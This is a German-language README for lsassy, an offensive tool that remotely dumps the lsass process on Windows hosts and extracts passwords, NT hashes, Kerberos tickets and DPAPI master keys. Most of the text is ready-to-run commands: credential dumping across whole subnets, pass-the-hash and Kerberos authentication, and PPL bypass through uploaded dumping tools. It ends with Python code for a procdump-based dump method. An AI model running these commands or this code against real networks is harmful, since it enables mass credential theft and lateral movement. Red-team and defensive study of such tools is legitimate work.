
Anmeldeinformationen von lsass remote extrahieren
Python-Werkzeug zum entfernten Extrahieren von Anmeldeinformationen auf einer Gruppe von Hosts. Dieser Blogbeitrag erklärt, wie es funktioniert.
Dieses Tool verwendet das impacket-Projekt, um die notwendigen Bytes aus einem lsass-Dump entfernt auszulesen, und pypykatz, um Anmeldeinformationen zu extrahieren.
| Kapitel | Beschreibung |
|---|---|
| Warnung | Bevor Sie dieses Tool verwenden, lesen Sie dies |
| Installation | Installation von lsassy |
| Grundlegende Verwendung | Grundlegende Verwendung von lsassy |
| Erweiterte Verwendung | Erweiterte Verwendung von lsassy mit Parametererklärung |
| Dump-Methode hinzufügen | So fügen Sie eine benutzerdefinierte lsass-Dump-Methode hinzu |
| Danksagungen | Dank an diese Personen und Werkzeuge |
| Offizieller Discord | Offizieller Discord-Server |
Obwohl ich alle Anstrengungen unternommen habe, das Tool stabil zu machen, können bei Fehlern Spuren hinterlassen werden.
Dieses Tool kann entweder einige lsass-Dumps hinterlassen, wenn es sie nicht löschen konnte (obwohl es sich sehr bemüht), oder einen geplanten Task hinterlassen, der weiterläuft, wenn es ihn nicht löschen kann. Dies sollte nicht passieren, aber es könnte. Sie wissen jetzt Bescheid, verwenden Sie es mit Vorsicht.
lsassy funktioniert mit Python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy funktioniert sofort mit mehreren Zielen (IP(s), Bereich(e), CIDR(s), Hostname(n), FQDN(s), Datei(en) mit einer Liste von Zielen)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
Standardmäßig versucht lsassy, lsass remote mit der comsvcs.dll-Methode zu dumpen, entweder über WMI oder einen entfernten geplanten Task.
lsassy kann sich mit Kerberos authentifizieren. Dazu wird ein gültiges TGT in der Umgebungsvariable KRB5CCNAME benötigt. Weitere Einzelheiten finden Sie unter erweiterte Verwendung.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
In lsassy sind verschiedene lsass-Dump-Methoden implementiert, und es stehen einige Optionen zur Verfügung, um dem Benutzer die Kontrolle über die Vorgehensweise zu geben.
lsassy ist in Module unterteilt
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Dieses Modul ist der Orchestrator. Es erstellt die lsassy-Klasse mit den bereitgestellten Argumenten und Optionen und ruft dann die verschiedenen Module auf, um Anmeldeinformationen abzurufen.
Dieses Modul dient der Protokollierung.
Dies ist eine Schicht, die über Impacket gebaut wurde, um sich wie ein Python-eingebautes Dateiobjekt zu verhalten. Es überschreibt Methoden wie open, read, seek oder close.
In diesem Modul findet die gesamte Dump-Logik statt. Je nach verwendeter Methode führt es Code auf dem entfernten Host aus, um lsass mit der angegebenen Methode zu dumpen.
Dieses Modul nutzt pypykatz und das Dateimodul von lsassy, um einen lsass-Dump remote zu parsen.
Dieses Modul behandelt die Ausgabe, entweder auf dem Bildschirm in verschiedenen Formaten und/oder das Schreiben von Ergebnissen in eine Datei.
Dieses Tool kann lsass auf verschiedene Weise dumpen.
Dump-Methoden (-m oder --method)
Diese Methode verwendet ausschließlich integrierte Windows-Dateien, um entfernte Anmeldeinformationen zu extrahieren. Sie nutzt die minidump-Funktion aus comsvcs.dll, um den lsass-Prozess zu dumpen.
Diese Methode lädt procdump.exe von SysInternals hoch, um den lsass-Prozess zu dumpen.
Diese Methode lädt dumpert.exe oder dumpert.dll von outflanknl hoch, um den lsass-Prozess mithilfe von Syscalls zu dumpen.
Diese Methode lädt NativeDump.exe von ricardojoserf hoch, um den lsass-Prozess nur mit NTAPIs zu dumpen.
Diese Methode lädt ppldump.exe von itm4n hoch, um den lsass-Prozess zu dumpen und PPL zu umgehen.
Diese Methode lädt Mirrordump.exe von Ccob hoch, um lsass mithilfe eines bereits geöffneten Handles zu lsass über ein LSA-Plugin zu dumpen.
Diese Methode verwendet die WER-Technik, die in PowerSploit verwendet wird.
Für einige Dump-Methoden sind Optionen erforderlich, z. B. der Pfad zu procdump oder dumpert. Diese Optionen können mit --options oder -O und einer kommagetrennten Liste von Optionen im Format key=value gesetzt werden.
... --options key=value,foo=bar
Zum Beispiel:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Sie können wählen, ob Sie einen bereits gedumpten lsass-Prozess parsen möchten, indem Sie den Schalter --parse-only zusammen mit den Parametern --dump-path und --dump-name angeben.
Beachten Sie, dass der entfernte lsass-Dump nicht gelöscht wird, wenn Sie diese Methode wählen.
Zum Beispiel:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
Wenn Sie nicht möchten, dass der Dump nach dem Ausführen von lsassy automatisch gelöscht wird, können Sie --keep-dump verwenden.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Kerberos-Tickets werden extrahiert und im ccache-Format unter $HOME/.config/lsassy/tickets gespeichert. Sie können das Ausgabeverzeichnis mit dem Parameter -K [Verzeichnis] oder --kerberos-dir [Verzeichnis] angeben. Wenn dieses Verzeichnis nicht existiert, versucht das Tool, es vor der Ausgabe der Tickets zu erstellen.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
DPAPI-Masterschlüssel werden extrahiert und im Format {GUID}:SHA1 unter $HOME/.config/lsassy/masterkeys.txt gespeichert. Sie können den Dateipfad für den Masterschlüssel mit dem Parameter -M [Pfad] oder --masterkeys-file [Pfad] angeben. Wenn der Dateipfad nicht existiert, versucht das Tool, ihn zu erstellen, bevor die Datei angelegt wird.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
Es gibt drei verschiedene Möglichkeiten, sich mit lsassy gegenüber entfernten Zielen zu authentifizieren. Die einzige Voraussetzung ist, dass der Benutzer lokale Administratorrechte auf den entfernten Zielen besitzt.
Die erste und naheliegendste Methode ist die Verwendung von Klartext-Anmeldeinformationen. Dies kann entweder ein lokaler oder ein Domänenbenutzer sein.
## Local user
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## Domain user
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
Es ist auch möglich, sich mit dem NT-Hash des Benutzers zu authentifizieren. Sie können entweder LM:NT oder nur die NT-Version angeben.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## Or
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Sie können sich auch mit Kerberos authentifizieren. Damit dies funktioniert, benötigen Sie ein gültiges Ticket, das auf der Festplatte gespeichert ist, und der Pfad des Tickets muss in der Umgebungsvariable KRB5CCNAME angegeben werden. Zu Testzwecken kann dies mit dem Tool getTGT.py aus impacket erreicht werden.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
Dieser Befehl fordert ein TGT an und speichert es in der Datei jsnow.ccache.
Damit lsassy weiß, welches Ticket verwendet werden soll, müssen Sie den Pfad des Tickets explizit in der Umgebungsvariable KRB5CCNAME setzen.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
Wenn dies korrekt konfiguriert ist, sollten Sie dieses Ticket für die Authentifizierung mit dem Parameter -k verwenden können. Da Sie dieses Ticket verwenden, müssen Sie keine anderen Authentifizierungsinformationen mehr angeben.
lsassy -k server01.hackn.lab
Beachten Sie, dass für diesen Vorgang eine gültige DNS-Konfiguration erforderlich ist, entweder dynamisch mit einem gültigen DNS-Server oder statisch mit einer hosts-Datei. Darüber hinaus sollten Sie bei der Generierung von Tickets und der Verwendung von lsassy immer den vollqualifizierten Domänennamen (FQDN) verwenden, d.h. server01.hackn.lab anstelle von server01.
lsassy kann Anmeldeinformationen in verschiedenen Formaten mit dem Flag --format oder -f ausgeben.
Standardformat, schöne und saubere Anmeldeinformationen werden in goldenen Farben angezeigt. In Credz vertrauen wir.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Zeigt das Ergebnis im JSON-Format an. Kann nützlich sein, wenn es von einem Skript aufgerufen wird.
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Grep-freundliche Ausgabe, die in Einzeilern nützlich sein kann.
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
Zeigt das Ergebnis nicht an. Nützlich bei Verwendung von --outfile.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
Speichert das Ergebnis in einem grep-freundlichen Format in der angegebenen Datei (--outfile oder -o).
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
Wenn Sie nur die Anmeldeinformationen von Benutzern erhalten möchten und die von Computern herausfiltern möchten, können Sie das Flag --users verwenden.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
Wenn nicht möchten, dass Tickets exportiert werden, können Sie das Flag --no-tickets verwenden.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
Wenn Sie nicht möchten, dass Masterschlüssel exportiert werden, können Sie das Flag --no-masterkeys verwenden.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
Sie können festlegen, wie viele Threads verwendet werden sollen [1-256] mit dem Parameter --threads.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
Im Verzeichnis dumpmethod gibt es eine Datei dummy.py.tpl. Diese Datei enthält die grundlegende Struktur zum Erstellen einer neuen Dump-Methode.
Diese Methode ist obligatorisch, da sie die Methode ist, die verwendet wird, um Code auf dem entfernten Host auszuführen, um lsass auf irgendeine Weise zu dumpen. Sie muss ein Wörterbuch mit zwei Elementen cmd und pwsh zurückgeben.
cmd-Befehl ist ein Befehl, der von der cmd.exe-Dienstprogramm verstanden wird. pwsh-Befehl ist ein Befehl, der von PowerShell verstanden wird (meistens ist der cmd-Befehl auch in PowerShell gültig).
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Es gibt eine Dependency-Klasse, mit der Dateien, die für die Dump-Methode benötigt werden, einfach hochgeladen werden können, wie z. B. procdump.exe von Sysinternals. Zwei Methoden können verwendet werden:
prepare_dependencies, um zu prüfen, ob alle Parameter vom Benutzer bereitgestellt wurden, um die Datei lokal auf der Festplatte des Benutzers zu finden und hochzuladen, und dann die Datei tatsächlich hochzuladen.clean_dependencies, um zu versuchen, hochgeladene Dateien zu entfernen.Diese Methode wird vor der Ausführung der von get_commands bereitgestellten Befehle aufgerufen. Sie kann verwendet werden, um Dateien hochzuladen oder Dinge zu überprüfen.
Diese Methode wird nach der Ausführung der von get_commands bereitgestellten Befehle aufgerufen. Sie kann verwendet werden, um hochgeladene Dateien zu löschen oder zu bereinigen.
Hier ist ein Procdump-Beispiel mit einigen Kommentaren.
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
and uncomment 'dump_name' to provide expected dumpfile name on remote system.
"""
custom_dump_name_support = True # Default: True
# dump_name = "" # Default: Random dumpfile name
"""
If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
"""
custom_dump_path_support = True # Default: True
# dump_share = "" # Default: "C$"
# dump_path = "" # Default: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ is overloaded to create some instance variables
"""
super().__init__(session, timeout)
"""
This module requires procdump.exe to be uploaded on the remote server before being executed.
So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
and second argument is default executable name on local user's disk.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare method is overloaded so that we are able to
- check if mandatory parameters are provided
- upload procdump on the remote host.
All this can be done using prepare_dependencies method from our Dependency object
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean method is overloaded so that we are able to delete our dependency if it was uploaded
The clean_dependencies method will do this for us.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands method is overloaded as it is mandatory.
Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
The get_remote_path method of our Dependency object is used to get the correct remote path
of procdump on our target.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Sie können die Dummy-Klasse für weitere Kommentare und/oder Informationen überprüfen.
